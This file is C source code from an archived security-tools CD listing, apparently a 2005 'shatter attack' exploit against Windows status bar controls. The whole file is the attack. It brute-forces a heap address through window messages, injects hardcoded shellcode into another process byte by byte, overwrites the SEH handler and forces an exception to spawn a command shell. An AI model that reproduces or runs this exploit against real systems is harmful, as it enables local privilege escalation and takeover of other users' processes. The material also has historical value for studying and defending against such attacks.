home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / shatterstatus.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  162 lines

  1. /*************************************************************************************
  2. * Statusbar Control Shatter exploit 
  3. *
  4. * Demonstrates the use of a combination of windows messages to;
  5. * - brute force a useable heap address
  6. * - place structure information inside a process
  7. * - inject shellcode to known location
  8. * - overwrite 4 bytes of a critical memory address
  9. *
  10. * 4 Variables need to be set for proper execution.
  11. * - tWindow is the title of the programs main window
  12. * - sehHandler is the critical address to overwrite
  13. * - shellcodeaddr is the data space to inject the code
  14. * - heapaddr is the base heap address to start brute forcing
  15. *
  16. * Local shellcode is Win2kSp4 ENG Hardcoded because of unicode issues
  17. * Try it out against any program with a progress bar
  18. *
  19. *************************************************************************************/
  20. #include <windows.h>
  21. #include <commctrl.h>
  22. #include <stdio.h>
  23.  
  24. // Local No Null Cmd Shellcode. 
  25. BYTE exploit[] = "\x90\x33\xc9\x66\xb9\x36\x32\xc1\xe1\x09\x66\xb9\x63\x6d\x51\x54\xbb\x5c\x21\x9d\x77\x03\xd9\xff\xd3\xcc\x90";
  26.  
  27. char g_classNameBuf[ 256 ];
  28. char tWindow[]="Main Window Title";// The name of the main window
  29.  
  30. long sehHandler = 0x7cXXXXXX; // Critical Address To Overwrite
  31. long shellcodeaddr = 0x7fXXXXXX; // Known Writeable Space Or Global Space
  32. unsigned long heapaddr = 0x00500000; // Base Heap Address
  33. long mainhWnd;
  34.  
  35. void doWrite(HWND hWnd, long tByte,long address);
  36. void BruteForceHeap(HWND hWnd);
  37. void IterateWindows(long hWnd);
  38.   
  39. int main(int argc, char *argv[])
  40. {
  41.  
  42.    HMODULE hMod;
  43.    DWORD ProcAddr;
  44.    long x;
  45.     
  46.  
  47.    printf("%% Playing with status bar messages\n");
  48.    printf("%% brett.moore@security-assessment.com\n\n");
  49.  
  50.    if (argc == 2)
  51.        sscanf(argv[1],"%lx",&heapaddr);    // Oddity
  52.  
  53.    printf("%% Using base heap address...0x%xh\n",heapaddr);
  54.    printf("+ Finding %s Window...\n",tWindow);
  55.    mainhWnd = (long)FindWindow(NULL,tWindow);
  56.  
  57.    if(mainhWnd == NULL)
  58.    {
  59.       printf("+ Couldn't Find %s Window\n",tWindow);
  60.       return 0;
  61.    }
  62.    printf("+ Found Main Window At......0x%xh\n",mainhWnd);
  63.    IterateWindows(mainhWnd);
  64.    printf("+ Done...\n");
  65.    
  66.    return 0;
  67. }
  68.  
  69. void BruteForceHeap(HWND hWnd, long tByte,long address)
  70. {
  71.     long retval;
  72.     BOOL foundHeap = FALSE;
  73.     char buffer[5000];
  74.     memset(buffer,0,sizeof(buffer));
  75.  
  76.     while (!foundHeap)
  77.     {
  78.         printf("+ Trying Heap Address.......0x%xh ",heapaddr);
  79.  
  80.         memset(buffer,0x58,sizeof(buffer)-1);
  81.  
  82.         // Set Window Title
  83.         SendMessage( mainhWnd,(UINT) WM_SETTEXT,0,&buffer);    
  84.         // Set Part Contents    
  85.         SendMessage((HWND) hWnd,(UINT) SB_SETTEXT,0,heapaddr);
  86.         retval=SendMessage((HWND) hWnd,(UINT) SB_GETTEXTLENGTH ,0,0);
  87.         printf("%d",retval);
  88.         if(retval == 1)
  89.         {
  90.             // First Retval should be 1
  91.             memset(buffer,0x80,sizeof(buffer)-1);
  92.             // Set Window Title
  93.             SendMessage( mainhWnd,(UINT) WM_SETTEXT,0,&buffer);    
  94.             // Set Part Contents    
  95.             SendMessage((HWND) hWnd,(UINT) SB_SETTEXT,0,heapaddr);
  96.             retval=SendMessage((HWND) hWnd,(UINT) SB_GETTEXTLENGTH ,0,0);
  97.             if(retval > 1)
  98.             {
  99.                 // Second should be larger than 1
  100.                 printf(" : %d - Found Heap Address\n",retval);
  101.                 return(0);
  102.             }
  103.         }
  104.         printf("\n");
  105.         heapaddr += 2500;
  106.     }
  107. }
  108.  
  109.  
  110. void doWrite(HWND hWnd, long tByte,long address)
  111. {
  112.     char buffer[5000];
  113.     
  114.     memset(buffer,0,sizeof(buffer));
  115.     memset(buffer,tByte,sizeof(buffer)-1);
  116.     // Set Window Title
  117.     SendMessage( mainhWnd,(UINT) WM_SETTEXT,0,&buffer);    
  118.  
  119.     // Set Statusbar width
  120.     SendMessage( hWnd,(UINT) SB_SETPARTS,1,heapaddr);
  121.     SendMessage( hWnd,(UINT) SB_GETPARTS,1,address);
  122.         
  123. }
  124.  
  125. void IterateWindows(long hWnd)
  126. {
  127.    
  128.     long childhWnd,looper;
  129.  
  130.     childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD);
  131.     while (childhWnd != NULL)
  132.     {
  133.         IterateWindows(childhWnd);
  134.         childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT);
  135.     }
  136.  
  137.     GetClassName( (HWND)hWnd, g_classNameBuf, sizeof(g_classNameBuf) );
  138.     if ( strcmp(g_classNameBuf, "msctls_statusbar32") ==0)
  139.     {
  140.  
  141.         // Find Heap Address
  142.         BruteForceHeap((HWND) hWnd);
  143.  
  144.         // Inject shellcode to known address
  145.         printf("+ Sending shellcode to......0x%xh\n",shellcodeaddr);
  146.         for (looper=0;looper<sizeof(exploit);looper++)
  147.          doWrite((HWND)hWnd, (long) exploit[looper],(shellcodeaddr + looper));
  148.         // Overwrite SEH
  149.         printf("+ Overwriting Top SEH.......0x%xh\n",sehHandler);
  150.  
  151.         doWrite((HWND)hWnd, ((shellcodeaddr) & 0xff),sehHandler);
  152.         doWrite((HWND)hWnd, ((shellcodeaddr >> 8) & 0xff),sehHandler+1);
  153.         doWrite((HWND)hWnd, ((shellcodeaddr >> 16) & 0xff),sehHandler+2);
  154.         doWrite((HWND)hWnd, ((shellcodeaddr >> 24) & 0xff),sehHandler+3);
  155.         // Cause exception
  156.         printf("+ Forcing Unhandled Exception\n");
  157.         SendMessage((HWND) hWnd,(UINT) SB_GETPARTS,1,1);
  158.         printf("+ Done...\n");
  159.         exit(0);
  160.     }
  161. }
  162.